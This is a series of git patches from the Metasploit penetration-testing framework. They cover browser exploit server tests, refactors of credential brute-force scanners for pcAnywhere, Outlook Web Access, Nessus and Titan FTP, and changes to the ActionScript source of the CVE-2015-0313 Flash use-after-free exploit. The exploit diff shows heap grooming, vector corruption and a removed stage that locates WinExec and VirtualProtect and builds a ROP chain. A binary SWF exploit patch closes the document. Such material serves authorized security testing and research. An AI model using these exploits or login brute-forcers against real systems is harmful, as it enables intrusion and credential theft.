server.on_request_uri(cli, request) - end - - it 'redirects to the exploit URL' do - server.should_receive(:send_redirect) do |cli, url| - expect(url).to end_with("#{exploit_page}/") - end - server.on_request_uri(cli, request) + context 'when info_receiver_page is requested' do + it 'sends an empty page' do + info_receiver_page_var = server.instance_variable_get(:@info_receiver_page) + cli_request = Rex::Proto::Http::Request.new + cli_request.uri = info_receiver_page_var + server.on_request_uri(cli, cli_request) + expect(@send_response_called).to be_truthy end end - context 'when a returning visitor from a previous msf run requests the exploit' do - let(:body) { '' } - let(:tag) { 'joe' } - let(:cookie) { "#{cookie_name}=#{tag}" } - - before { JSObfu.disabled = true } - after { JSObfu.disabled = false } - - it 'calls send_response once' do - server.should_receive(:send_response).once - server.on_request_uri(cli, request) - end - - it 'serves the os.js detection script' do - server.should_receive(:send_response) do |cli, html, headers| - expect(html).to include('os_detect') - end - server.on_request_uri(cli, request) + context 'when noscript_receiver_page is requested' do + it 'sends a not-found' do + noscript_receiver_page_var = server.instance_variable_get(:@noscript_receiver_page) + cli_request = Rex::Proto::Http::Request.new + cli_request.uri = noscript_receiver_page_var + server.on_request_uri(cli, cli_request) + expect(@send_not_found_called).to be_truthy end end + context 'when exploit_receiver_page is requested' do + it 'calls on_request_exploit' do + exploit_receiver_page_var = server.instance_variable_get(:@exploit_receiver_page) + cli_request = Rex::Proto::Http::Request.new + cli_request.uri = exploit_receiver_page_var + server.on_request_uri(cli, cli_request) + expect(@on_request_exploit_called).to be_truthy + end + end + end describe '#get_payload' do - let(:cli) { - Rex::Socket::Tcp - } - before(:each) do - allow(cli).to receive(:peerhost).and_return('0.0.0.0') - allow(cli).to receive(:peerport).and_return(4444) + target = double('Msf::Module::Target') + allow(target).to receive(:arch).and_return(nil) + allow(server).to receive(:get_target).and_return(target) end let(:encoded) { '@EXE@' } @@ -330,25 +321,15 @@ describe Msf::Exploit::Remote::BrowserExploitServer do double(:encoded => encoded, :arch => ['x86']) } - let(:x86_64_payload) { - double(:encoded => encoded, :arch => ['x86_64']) + let(:normalized_profile_info) { + first_profile_info.inject({}){|data,(k,v)| data[k.to_sym] = v; data} } context 'when the payload supports the visitor\'s browser architecture' do it 'returns a payload' do allow(server).to receive(:regenerate_payload).and_return(x86_payload) - expect(server.get_payload(cli, expected_profile)).to eq(encoded) - end - end - - context 'when the payload does not support the visitor\'s browser architecture' do - it 'raises a BESException' do - allow(server).to receive(:regenerate_payload).and_return(x86_64_payload) - expect{server.get_payload(cli, expected_profile)}.to raise_error(Msf::Exploit::Remote::BrowserExploitServer::BESException) + expect(server.get_payload(cli, normalized_profile_info)).to eq(encoded) end end end - - end - end From 1b3f911f849afd5cec1dfbd641494abbad392876 Mon Sep 17 00:00:00 2001 From: root Date: Wed, 10 Jun 2015 09:54:10 +0500 Subject: [PATCH 0374/1013] Change credential status from untried to successful --- .../scanner/pcanywhere/pcanywhere_login.rb | 36 +++++++++---------- 1 file changed, 18 insertions(+), 18 deletions(-) diff --git a/modules/auxiliary/scanner/pcanywhere/pcanywhere_login.rb b/modules/auxiliary/scanner/pcanywhere/pcanywhere_login.rb index c750621790..588236bf8f 100644 --- a/modules/auxiliary/scanner/pcanywhere/pcanywhere_login.rb +++ b/modules/auxiliary/scanner/pcanywhere/pcanywhere_login.rb @@ -39,11 +39,11 @@ class Metasploit3 < Msf::Auxiliary each_user_pass do |user, pass| next if user.blank? or pass.blank? - print_status "Trying #{user}:#{pass}" + print_status("Trying #{user}:#{pass}") result = do_login(user, pass) case result when :success - print_good "#{ip}:#{rport} Login Successful #{user}:#{pass}" + print_good("#{ip}:#{rport} Login Successful #{user}:#{pass}") report_cred( ip: rhost, port: datastore['RPORT'], @@ -52,16 +52,16 @@ class Metasploit3 < Msf::Auxiliary password: pass, ) return if datastore['STOP_ON_SUCCESS'] - print_status "Waiting to Re-Negotiate Connection (this may take a minute)..." + print_status('Waiting to Re-Negotiate Connection (this may take a minute)...') select(nil, nil, nil, 40) connect hsr = pca_handshake(ip) return if hsr == :handshake_failed when :fail - print_status "#{ip}:#{rport} Login Failure #{user}:#{pass}" + print_status("#{ip}:#{rport} Login Failure #{user}:#{pass}") when :reset - print_status "#{ip}:#{rport} Login Failure #{user}:#{pass}" - print_status "Connection Reset Attempting to reconnect in 1 second" + print_status("#{ip}:#{rport} Login Failure #{user}:#{pass}") + print_status('Connection reset attempting to reconnect in 1 second') select(nil, nil, nil, 1) connect hsr = pca_handshake(ip) @@ -90,7 +90,7 @@ class Metasploit3 < Msf::Auxiliary login_data = { core: create_credential(credential_data), - status: Metasploit::Model::Login::Status::UNTRIED, + status: Metasploit::Model::Login::Status::SUCCESSFUL, }.merge(service_data) create_credential_login(login_data) @@ -110,18 +110,18 @@ class Metasploit3 < Msf::Auxiliary end # Check if we are now at the password prompt - unless res and res.include? "Enter password" - print_error "Problem Sending Login: #{res.inspect}" + unless res and res.include? 'Enter password' + print_error("Problem Sending Login: #{res.inspect}") return :abort end epass = encryption_header(encrypt(pass)) nsock.put(epass) res = nsock.get_once(-1,20) - if res.include? "Login unsuccessful" + if res.include? 'Login unsuccessful' disconnect() return :reset - elsif res.include? "Invalid login" + elsif res.include? 'Invalid login' return :fail else disconnect() @@ -130,38 +130,38 @@ class Metasploit3 < Msf::Auxiliary end def pca_handshake(ip, nsock=self.sock) - print_status "Handshaking with the pcAnywhere service" + print_status('Handshaking with the pcAnywhere service') nsock.put("\x00\x00\x00\x00") res = nsock.get_once(-1,5) - unless res and res.include? "Please press " - print_error "Handshake(1) failed on Host #{ip} aborting. (Error: #{res.inspect} )" + unless res and res.include? 'Please press ' + print_error("Handshake(1) failed on Host #{ip} aborting. Error: #{res.inspect}") return :handshake_failed end nsock.put("\x6F\x06\xff") res = nsock.get_once(-1,5) unless res and res.include? "\x78\x02\x1b\x61" - print_error "Handshake(2) failed on Host #{ip} aborting. (Error: #{res.inspect} )" + print_error("Handshake(2) failed on Host #{ip} aborting. Error: #{res.inspect}") return :handshake_failed end nsock.put("\x6f\x61\x00\x09\x00\xfe\x00\x00\xff\xff\x00\x00\x00\x00") res = nsock.get_once(-1,5) unless res and res == "\x1b\x62\x00\x02\x00\x00\x00" - print_error "Handshake(3) failed on Host #{ip} aborting. (Error: #{res.inspect} )" + print_error("Handshake(3) failed on Host #{ip} aborting. Error: #{res.inspect}") return :handshake_failed end nsock.put("\x6f\x62\x01\x02\x00\x00\x00") res = nsock.get_once(-1,5) unless res and res.include? "\x00\x7D\x08" - print_error "Handshake(4) failed on Host #{ip} aborting. (Error: #{res.inspect} )" + print_error("Handshake(4) failed on Host #{ip} aborting. Error: #{res.inspect}") return :handshake_failed end res = nsock.get_once(-1,5) unless pca_at_login?(res) unless pca_at_login?(res) - print_error "Handshake(5) failed on Host #{ip} aborting. (Error: #{res.inspect} )" + print_error("Handshake(5) failed on Host #{ip} aborting. Error: #{res.inspect}") return :handshake_failed end end From 78a6e1bc9091f330be3ba0de153e26693636c55b Mon Sep 17 00:00:00 2001 From: root Date: Wed, 10 Jun 2015 10:07:33 +0500 Subject: [PATCH 0375/1013] Change credential status from untried to successful --- modules/auxiliary/scanner/http/owa_login.rb | 21 +-------------------- 1 file changed, 1 insertion(+), 20 deletions(-) diff --git a/modules/auxiliary/scanner/http/owa_login.rb b/modules/auxiliary/scanner/http/owa_login.rb index 299f1266bb..60970856b3 100644 --- a/modules/auxiliary/scanner/http/owa_login.rb +++ b/modules/auxiliary/scanner/http/owa_login.rb @@ -206,15 +206,6 @@ class Metasploit3 < Msf::Auxiliary # Check if the password needs to be changed. if res.headers['location'] =~ /expiredpassword/ print_good("#{msg} SUCCESSFUL LOGIN. #{elapsed_time} '#{user}' : '#{pass}': NOTE password change required") - report_hash = { - :host => datastore['RHOST'], - :port => datastore['RPORT'], - :sname => 'owa', - :user => user, - :pass => pass, - :active => true, - :type => 'password'} - report_cred( ip: datastore['RHOST'], port: datastore['RPORT'], @@ -276,16 +267,6 @@ class Metasploit3 < Msf::Auxiliary if res.body =~ login_check print_good("#{msg} SUCCESSFUL LOGIN. #{elapsed_time} '#{user}' : '#{pass}'") - - report_hash = { - :host => datastore['RHOST'], - :port => datastore['RPORT'], - :sname => 'owa', - :user => user, - :pass => pass, - :active => true, - :type => 'password'} - report_cred( ip: datastore['RHOST'], port: datastore['RPORT'], @@ -360,7 +341,7 @@ class Metasploit3 < Msf::Auxiliary login_data = { core: create_credential(credential_data), - status: Metasploit::Model::Login::Status::UNTRIED, + status: Metasploit::Model::Login::Status::SUCCESSFUL, }.merge(service_data) create_credential_login(login_data) From 3fe6ddd10a00cb9cb565d1f32a14feadc8fec94b Mon Sep 17 00:00:00 2001 From: root Date: Wed, 10 Jun 2015 10:09:57 +0500 Subject: [PATCH 0376/1013] Change credential status from untried to successful --- .../scanner/nessus/nessus_xmlrpc_login.rb | 16 +++------------- 1 file changed, 3 insertions(+), 13 deletions(-) diff --git a/modules/auxiliary/scanner/nessus/nessus_xmlrpc_login.rb b/modules/auxiliary/scanner/nessus/nessus_xmlrpc_login.rb index 149782f31e..cab0349b09 100644 --- a/modules/auxiliary/scanner/nessus/nessus_xmlrpc_login.rb +++ b/modules/auxiliary/scanner/nessus/nessus_xmlrpc_login.rb @@ -99,17 +99,7 @@ class Metasploit3 < Msf::Auxiliary if res.code == 200 if res.body =~ /OK<\/status>/ - print_good("SUCCESSFUL LOGIN. '#{user}' : '#{pass}'") - - report_hash = { - :host => datastore['RHOST'], - :port => datastore['RPORT'], - :sname => 'nessus-xmlrpc', - :user => user, - :pass => pass, - :active => true, - :type => 'password'} - + print_good("SUCCESSFUL LOGIN. '#{user}':'#{pass}'") report_cred( ip: datastore['RHOST'], port: datastore['RPORT'], @@ -120,7 +110,7 @@ class Metasploit3 < Msf::Auxiliary return :next_user end end - vprint_error("FAILED LOGIN. '#{user}' : '#{pass}'") + vprint_error("FAILED LOGIN. '#{user}':'#{pass}'") return :skip_pass end @@ -143,7 +133,7 @@ class Metasploit3 < Msf::Auxiliary login_data = { core: create_credential(credential_data), - status: Metasploit::Model::Login::Status::UNTRIED, + status: Metasploit::Model::Login::Status::SUCCESSFUL, }.merge(service_data) create_credential_login(login_data) From 3ffe006e09a44a48a23b1eadb5e9f527928e5897 Mon Sep 17 00:00:00 2001 From: root Date: Wed, 10 Jun 2015 13:36:26 +0500 Subject: [PATCH 0377/1013] Update titan_ftp_admin_pwd to use the new creds API --- .../scanner/http/titan_ftp_admin_pwd.rb | 46 ++++++++++++++----- 1 file changed, 35 insertions(+), 11 deletions(-) diff --git a/modules/auxiliary/scanner/http/titan_ftp_admin_pwd.rb b/modules/auxiliary/scanner/http/titan_ftp_admin_pwd.rb index 70d9888b49..c9eccf1324 100644 --- a/modules/auxiliary/scanner/http/titan_ftp_admin_pwd.rb +++ b/modules/auxiliary/scanner/http/titan_ftp_admin_pwd.rb @@ -33,7 +33,7 @@ class Metasploit3 < Msf::Auxiliary 'License' => MSF_LICENSE, 'References' => [ - [ 'CVE', '2013-1625' ], + [ 'CVE', '2013-1625' ] ] ) @@ -44,14 +44,14 @@ class Metasploit3 < Msf::Auxiliary def run_host(ip) res = send_request_cgi( { - 'uri' => "/admin.dll", + 'uri' => '/admin.dll', 'method' => 'POST', 'headers' => { 'SRT-WantXMLResponses' => 'true', 'SRT-XMLRequest' => 'true', 'Authorization' => 'Basic FAKEFAKE' }, - 'data' => "DOMGCFG", + 'data' => 'DOMGCFG' }) return if not res @@ -89,15 +89,39 @@ class Metasploit3 < Msf::Auxiliary print_good("#{ip}:#{datastore['RPORT']} - Base Directory: #{info[:basedir]}") end print_good("#{ip}:#{datastore['RPORT']} - Admin Credentials: '#{info[:username]}:#{info[:password]}'") - report_auth_info( - :host => ip, - :port => datastore['RPORT'], - :user => info[:username], - :pass => info[:password], - :ptype => "password", - :proto => "http", - :sname => "Titan FTP Admin Console" + report_cred( + ip: ip, + port: datastore['RPORT'], + user: info[:username], + password: info[:password], + service_name: 'ftp' ) end end + + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED, + }.merge(service_data) + + create_credential_login(login_data) + end + end From 7cb82f594b1e1fbb431bda673bfd061b744f130c Mon Sep 17 00:00:00 2001 From: root Date: Wed, 10 Jun 2015 14:24:05 +0500 Subject: [PATCH 0378/1013] Add ftp port for service --- modules/auxiliary/scanner/http/titan_ftp_admin_pwd.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/titan_ftp_admin_pwd.rb b/modules/auxiliary/scanner/http/titan_ftp_admin_pwd.rb index c9eccf1324..e4152f00a1 100644 --- a/modules/auxiliary/scanner/http/titan_ftp_admin_pwd.rb +++ b/modules/auxiliary/scanner/http/titan_ftp_admin_pwd.rb @@ -91,7 +91,7 @@ class Metasploit3 < Msf::Auxiliary print_good("#{ip}:#{datastore['RPORT']} - Admin Credentials: '#{info[:username]}:#{info[:password]}'") report_cred( ip: ip, - port: datastore['RPORT'], + port: 21, user: info[:username], password: info[:password], service_name: 'ftp' From d95a0f432deb7df80becea792ddbc3b7a323be4b Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 10 Jun 2015 09:12:25 -0500 Subject: [PATCH 0379/1013] Update AS codE --- .../source/exploits/CVE-2015-0313/Main.as | 178 ++++-------------- 1 file changed, 38 insertions(+), 140 deletions(-) diff --git a/external/source/exploits/CVE-2015-0313/Main.as b/external/source/exploits/CVE-2015-0313/Main.as index b25008234d..6c978e8d90 100755 --- a/external/source/exploits/CVE-2015-0313/Main.as +++ b/external/source/exploits/CVE-2015-0313/Main.as @@ -23,8 +23,8 @@ import mx.utils.Base64Decoder public class Main extends Sprite { - private var ov:Vector. = new Vector.(25600) - private var uv:Vector. = new Vector. + private var ov:Vector. = new Vector.(80000) + private var uv:Vector. private var ba:ByteArray = new ByteArray() private var worker:Worker private var mc:MessageChannel @@ -39,26 +39,28 @@ public class Main extends Sprite private function mainThread():void { - var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh - var pattern:RegExp = / /g; - b64_payload = b64_payload.replace(pattern, "+") - b64.decode(b64_payload) - payload = b64.toByteArray().toString() + // var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh + // var pattern:RegExp = / /g; + // b64_payload = b64_payload.replace(pattern, "+") +// b64.decode(b64_payload) +// payload = b64.toByteArray().toString() ba.length = 0x1000 ba.shareable = true for (var i:uint = 0; i < ov.length; i++) { - ov[i] = new Vector.(1014) - ov[i][0] = ba - ov[i][1] = this + ov[i] = new Vector.(1014) + ov[i][0] = 0xdeedbeef } - for (i = 0; i < ov.length; i += 2) delete(ov[i]) + for (i = 0; i < ov.length / 2; i += 2) { + delete(ov[i]) + } worker = WorkerDomain.current.createWorker(this.loaderInfo.bytes) mc = worker.createMessageChannel(Worker.current) mc.addEventListener(Event.CHANNEL_MESSAGE, onMessage) worker.setSharedProperty("mc", mc) worker.setSharedProperty("ba", ba) ApplicationDomain.currentDomain.domainMemory = ba + Logger.log("starting...") worker.start() } @@ -70,141 +72,37 @@ public class Main extends Sprite ov[0] = new Vector.(1022) mc.send("") while (mc.messageAvailable); - ov[0][0] = ov[0][0x403] - 0x18 - 0x1000 - ba.length = 0x500000 - var buffer:uint = vector_read(vector_read(ov[0][0x408] - 1 + 0x40) + 8) + 0x100000 - var main:uint = ov[0][0x409] - 1 - var vtable:uint = vector_read(main) - vector_write(vector_read(ov[0][0x408] - 1 + 0x40) + 8) - vector_write(vector_read(ov[0][0x408] - 1 + 0x40) + 16, 0xffffffff) - mc.send(ov[0][0].toString() + "/" + buffer.toString() + "/" + main.toString() + "/" + vtable.toString()) + for (var i:uint = 0; i < 20000; i++) { + if (ov[0][i] == 1014 && ov[0][i + 2] == 0xdeedbeef) { + ov[0][i] = 0xffffffff + break + } + } + ov[0][0xfffffffe] = 1014 + mc.send("") } private function onMessage(e:Event):void { - casi32(0, 1022, 0xFFFFFFFF) - if (ba.length != 0xffffffff) mc.receive() + Logger.log("[*] onMessage") + var mod:uint = casi32(0, 1022, 0xFFFFFFFF) + Logger.log("[*] onMessage - mod: " + mod.toString()) + if (mod == 1022) mc.receive() else { - ba.endian = "littleEndian" - var data:Array = (mc.receive() as String).split("/") - byte_write(parseInt(data[0])) - var buffer:uint = parseInt(data[1]) as uint - var main:uint = parseInt(data[2]) as uint - var vtable:uint = parseInt(data[3]) as uint - var flash:uint = base(vtable) - var ieshims:uint = module("winmm.dll", flash) - var kernel32:uint = module("kernel32.dll", ieshims) - - var virtualprotect:uint = procedure("VirtualProtect", kernel32) - var winexec:uint = procedure("WinExec", kernel32) - var xchgeaxespret:uint = gadget("c394", 0x0000ffff, flash) - var xchgeaxesiret:uint = gadget("c396", 0x0000ffff, flash) - - //CoE - byte_write(buffer + 0x30000, "\xb8", false); byte_write(0, vtable, false) // mov eax, vtable - byte_write(0, "\xbb", false); byte_write(0, main, false) // mov ebx, main - byte_write(0, "\x89\x03", false) // mov [ebx], eax - byte_write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret - - byte_write(buffer+0x200, payload); - byte_write(buffer + 0x20070, xchgeaxespret) - byte_write(buffer + 0x20000, xchgeaxesiret) - byte_write(0, virtualprotect) - - // VirtualProtect - byte_write(0, winexec) - byte_write(0, buffer + 0x30000) - byte_write(0, 0x1000) - byte_write(0, 0x40) - byte_write(0, buffer + 0x100) - - // WinExec - byte_write(0, buffer + 0x30000) - byte_write(0, buffer + 0x200) - byte_write(0) - - byte_write(main, buffer + 0x20000) - toString() + Logger.log("[*] onMessage - Searching corrupted vector...") + for (var i:uint = 0; i < ov.length; i++) { + if (ov[i].length == 0xffffffff) { + uv = ov[i] + } else { + ov[i] = null + } + } + if (uv == null) { + Logger.log("not found") + return + } + Logger.log('whooray: ' + uv.length.toString(16)) } } - - private function vector_write(addr:uint, value:uint = 0):void - { - addr > ov[0][0] ? ov[0][(addr - uv[0]) / 4 - 2] = value : ov[0][0xffffffff - (ov[0][0] - addr) / 4 - 1] = value - } - - private function vector_read(addr:uint):uint - { - return addr > ov[0][0] ? ov[0][(addr - ov[0][0]) / 4 - 2] : ov[0][0xffffffff - (ov[0][0] - addr) / 4 - 1] - } - - private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void - { - if (addr) ba.position = addr - if (value is String) { - for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i)) - if (zero) ba.writeByte(0) - } else ba.writeUnsignedInt(value) - } - - private function byte_read(addr:uint, type:String = "dword"):uint - { - ba.position = addr - switch(type) { - case "dword": - return ba.readUnsignedInt() - case "word": - return ba.readUnsignedShort() - case "byte": - return ba.readUnsignedByte() - } - return 0 - } - - private function base(addr:uint):uint - { - addr &= 0xffff0000 - while (true) { - if (byte_read(addr) == 0x00905a4d) return addr - addr -= 0x10000 - } - return 0 - } - - private function module(name:String, addr:uint):uint - { - var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x80), i:int = -1 - while (true) { - var entry:uint = byte_read(iat + (++i) * 0x14 + 12) - if (!entry) throw new Error("FAIL!"); - ba.position = addr + entry - if (ba.readUTFBytes(name.length).toUpperCase() == name.toUpperCase()) break - } - return base(byte_read(addr + byte_read(iat + i * 0x14 + 16))) - } - - private function procedure(name:String, addr:uint):uint - { - var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x78) - var numberOfNames:uint = byte_read(eat + 0x18) - var addressOfFunctions:uint = addr + byte_read(eat + 0x1c) - var addressOfNames:uint = addr + byte_read(eat + 0x20) - var addressOfNameOrdinals:uint = addr + byte_read(eat + 0x24) - for (var i:uint = 0; ; i++) { - var entry:uint = byte_read(addressOfNames + i * 4) - ba.position = addr + entry - if (ba.readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break - } - return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2, "word") * 4) - } - - private function gadget(gadget:String, hint:uint, addr:uint):uint - { - var find:uint = 0 - var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0x50) - var value:uint = parseInt(gadget, 16) - for (var i:uint = 0; i < limit - 4; i++) if (value == (byte_read(addr + i) & hint)) break - return addr + i - } } } From 64b486eeacee860aa2cc532f7e76e05c4e80ce0d Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 10 Jun 2015 09:12:52 -0500 Subject: [PATCH 0380/1013] Change filename --- external/source/exploits/CVE-2015-0313/{Main.as => Exploit.as} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename external/source/exploits/CVE-2015-0313/{Main.as => Exploit.as} (100%) diff --git a/external/source/exploits/CVE-2015-0313/Main.as b/external/source/exploits/CVE-2015-0313/Exploit.as similarity index 100% rename from external/source/exploits/CVE-2015-0313/Main.as rename to external/source/exploits/CVE-2015-0313/Exploit.as From a6fe38385215c5a101c9e172c8331c1743ca2527 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 10 Jun 2015 09:32:52 -0500 Subject: [PATCH 0381/1013] Use AS Exploiter --- data/exploits/CVE-2015-0313/msf.swf | Bin 18009 -> 20971 bytes external/source/exploits/CVE-2015-0313/Elf.as | 235 +++++++++++ .../source/exploits/CVE-2015-0313/Exploit.as | 30 +- .../CVE-2015-0313/ExploitByteArray.as | 85 ++++ .../exploits/CVE-2015-0313/ExploitVector.as | 74 ++++ .../exploits/CVE-2015-0313/Exploiter.as | 399 ++++++++++++++++++ .../source/exploits/CVE-2015-0313/Logger.as | 32 ++ external/source/exploits/CVE-2015-0313/PE.as | 72 ++++ .../adobe_flash_worker_byte_array_uaf.rb | 21 +- 9 files changed, 925 insertions(+), 23 deletions(-) create mode 100644 external/source/exploits/CVE-2015-0313/Elf.as create mode 100644 external/source/exploits/CVE-2015-0313/ExploitByteArray.as create mode 100644 external/source/exploits/CVE-2015-0313/ExploitVector.as create mode 100644 external/source/exploits/CVE-2015-0313/Exploiter.as create mode 100644 external/source/exploits/CVE-2015-0313/Logger.as create mode 100644 external/source/exploits/CVE-2015-0313/PE.as diff --git a/data/exploits/CVE-2015-0313/msf.swf b/data/exploits/CVE-2015-0313/msf.swf index f4d5e8f32de2cc716af392728756f7b472967ff0..065aebeb0ce44ab1cd5eb783022d813fd2ef5f59 100755 GIT binary patch delta 20853 zcmV(#K;*yKi~;MT0Sa1IQyj+9007!iu?i#se-IyZhUYiCmfGxU!dP`Hb3p(s{tLpT zDO`+5+f&8&)Vo?&t9N|?VO?o~yhE3A3kN^jrFwe!hqC#&{wVaA0gm}8Jua-yWk-sD zflSS$xg%oYK4d z0IpwBrUw5(2G#W;P3AdNwF*CkHhJ79F=auMiny8A`QBh`?+*s~3i(967bqo+_P!7_ zsBP40cFCz&E>#Gw#kkhgSELf8`T`0Me^Dd1F>hCvHM6&1&e7%V&=TB-9YScjTGtx* zgrzF4DSyFE=-#J7qZ1tq)B9BUi+G)%wRTe-9-; zJOjNXjgP8Ffv%x(P5)DchMZ`T0G>Bh@ESHbpYsa8hmQ4OFo$cbW}=C`xE|0CVA7dX zkw~F}Pn4%($!hZ2BGudlOYDvC^)1u!?yE2OUq*}^$mQKKn zBgfCgt;mn!pIk!Zt$S^EXkp)vlaWSjI*=k?R{?f4fH730EsDn+LsrEDe-^k-ic%J! zK6Rfkvac&=?8B>U(<`1bcMd3YL^T^&WikmINkj~ETHaMcxY+N64*?PQqfi}(R@03S zCBX%JaG>TPniWzskYb)6}l&nJ~MlY?F~|MV@sC5ZyNZ#(142UKA4IoyhKelZWSOy}T5X2_^bSUDRdf61n5qEyf4qX1S+ z5cTq^{5FgAl)JtG;D}aw`m19=(4)G2QgO%Q0W#s$DB^>6k|?T(GAUcK&02Rz6!v+J zdRZ46%-2ggbo^~B1`Ff(XD5Hle%A0Bikc;jA(8N|I2=En=HrJh&Vf6KyIHWA(MDQV z0id;$LB&7Xm&As~f0!hkq|c=xkOi*kw;>zP!q!D3Y|GU2-8TQlexepyGFBAmS6=); zh`p`9?D*%@@Y%IP}LV4p{V~jxS|7R7@GQEzFRxd zDn6KO=3L9>2&603K;c7lk<6VGl-+h-%-U%VN5?Wb?R;lHf7l}UD-kV}j%G@+1z6`Q z0$wRXFBDF01$%dNsS@WB(C5(KNxl@gWK?9K7cTU?V{)5c7oJWUws6M;*6CyO1_geN z({&?T?&+Mzqm*c-bfI$X>waS!iW)kim-S{C?uO{Iwcq`qtxU*t9T-~bBfwJ@#Jep~ zGt15wRal;Te~`v@ZGx5SpmSKsq^%>PqwADk0MaLE1rcSxqzlo&YewDOx39uSbZ+6P zi$xE#-7t-9QFuc_h32eYEE!wn2J))d&A_qBNhH20-$h99wsis~!6tX^$C6ZQ{~u)| zl9O1WX#Z`8TqZr!#`e85s(|6D@RR(Zk1ByLeBcs6e~m5f1R){?ouyz&V|s3^r$OwC zg-TUN{Ti0^wtb{%G6<^{C_CzwTQT^)SFNz)t0=mqa3h6PbWAl}I+U?oO(OezdzG#S z+nHPf0xX-!X&@gn#hT4XUuoTzCF!p%97ix{Y!kmiFl8jCncl-wFtPi-pdF-!)xQFC zn?eu%e`&$R3bs4_g@{VrJ_EGoqrIN0Y3R21$tKrn<`9QlrVoYZUy)szVA9+PmLBNv z(%)ZP8opA}Bwq&Qc$)AEsfX=kr!f?NTI>oeb08%*D}7n2Cn%G#g8qVoOX%FaZs2bK zXPeUBAn5+mR?8?$Dsr-cckcYb#%&QJuHST|e=9CF;Jgv0r;HU$x|l%pSC~lZc2Y%Z zVMeOVdrEh@TAL_c-IHSwUh5|OW|FM>to|I3rUr2tac(|@Tv222nYIj|Ab{jjGvJUk zBbr7UC4y0%lPk;Av38Itk5b|8MNDQ299fjXSpHlF`rab5;CIoiU%&|qeG9zn%p7{>uZjYcclyIH~SS0XkxlUR@0dh)+4KupYY zvlYs~6iZr_LVOeKFg79sab|1m(X(pyzmiG+SRd5EDp<_!PB0g;IyOW8HUP9(Ro(G? zS^R(7qbs)76tsQ`R3VWuz;Oyg;Es1(`iQivCjq|d>C3WLB==U@40;KG zsTY##NkGc8iDbf}bq;K1PI+I1;Im!~>FKgv{x>vfco*L5^*>40_jnnYsuFODe_V7} z3KFmRw;poeB{{wbz9%vur9^=%_HCow$#08A)eatoQ31}r!OKT#XU9gKJ*4l)*f4vl z*)W+wVFiNsegCrb?B+t_&f;5fEXQZcPT^MV?N9zAw?5~tnDoL!R>2;J?;G3UVH9shGY8I7VkZ4KA2 z4SKRxu*{*;-R$??ohiIIf5=r6ScU-PtMp%TU^6?Lz?x6NZf2==?PolE2vwTG#;tpi zQUBB*k%s&Bzlj?Q?R^+Gd`PH{6$`n?0qx9#b9Pp&&A#V)1u=+bzx=T-Olh9e_K82; z4T6UIi|xw~lWHEj&yKQE^GS%y`wGnZ2ll=Gh!-NU1^h{JGN=VnD(5Vo|U}+&r_#5%Ye>(OXfeTw*)TS2WVz?@; zo_UL)cXBPhl9djF3^!s9zS}tD`wr^CJz|bt`^RiPlMppvTPQx1(;quN0ZweB@Um{Rj#{e5tqj z@c@*OdL3JCe-)V)zM_|l)K3+qW#T!gN#DByhn|++()+?@>JCF8ZU}9%Ux2BRkgp%C z&&jDB4r9Ra?Rg(%W7=yT@Wgr4BU^anJ^+J~<+d*LD=$6uLWw}ztsB!JsgGyD+Q1yv zD^_hhxj_)-jN-{QMV~zw@2+eGCZ}SB6^1_&OJ9*Ce}wm5hw9jQQqVQPB$VDi@y(uY zZU9eEPMa)&D<7`mE}SYPg)qbZB7Ex@l{l)hrebwt`WCL!0LJ9z%RL@bP|Af{e2w+< zY6OjW7GoV}7T_=B)5QuZCbg9q_5?2dx;hCO*SWSDqXk}~c3<)y=iF02(y?*Pnwj&M zjo4KXe=z8j5>lhzaZ2^^>uede9WbBhf}F9tn>9Y++O7|jInK;B)!NPngqYy4JpTmQCo3IRF*t z$QA*9S7jMyn7}Td#dV|Ua&Puzo7kRv3kte9f3>fr-HoMZ`0)(f)2JmX3KV%^_;dn5 zfv!LWI4q4g?7}zLI2wmc-`RGJ7Ma7shF`#EE zf6f%(YnM^mDdeGbBfA-*l65s-a|Bxxnsef zD+2*Oa_yR2Qq72AeUs83Ch{M5;S4al;5US4@@9#bnu9JFrR9*29?d^y+gu5Oxn(Nl zz^3OQ7>BOBO4-KTRPy_=v#r)p>r)G`>r~++BFf9?DJ z?aVQvNnExw%iYp`vSzF!x>z}T1v<^2L>M2TlLziX;YbPV2m_&fFb7J9?krb`UM!Lm zC9-iq(TJXs$h&+@Y*1khSXKGtI}z7>NpnChx9k5IS0YA+e5k8AWy~769OEe|w9uryiSS$4nZ9EJTp`gAUEnHSv6k2p#VEwgakA zs9F-H9Pc5#ePBVqjY%(pGgf6f>lZcwqi=%)$NtnE#a?&1Of~QW1-_aK>h_rM`*wx; zp)J$qL~bCrb&fK#kwx;jOb+>VU?%>qOq5y-(yduI_1IpWGlUOX8{eble}0M<2Xp_& zEw|_kO<+d~7kVwX7GuF>C~hqzx^0*!{mabPjZ@UfPzBm6NgwW$Pf>Jo5zFY>SH-EJ ztt-XZ6?RZr-Cxqip92K(&Sp$gkUu_|v8hi7Wp}h$sw6q|jU)l>njgH%{)nCo8PC`n zK^8Z0=+Xf!VVa<7Ki&eke`r&L`+Q4KfzL&6K3rvp_?N0cDZ4(=G{W3Qk;B|(Hhg^= zZO{2H8?nwgCpG+g$js7+B6d$a9VNJtrgozKs|CIK(BMP3e>G!=Okvg8H}ohxt};YF 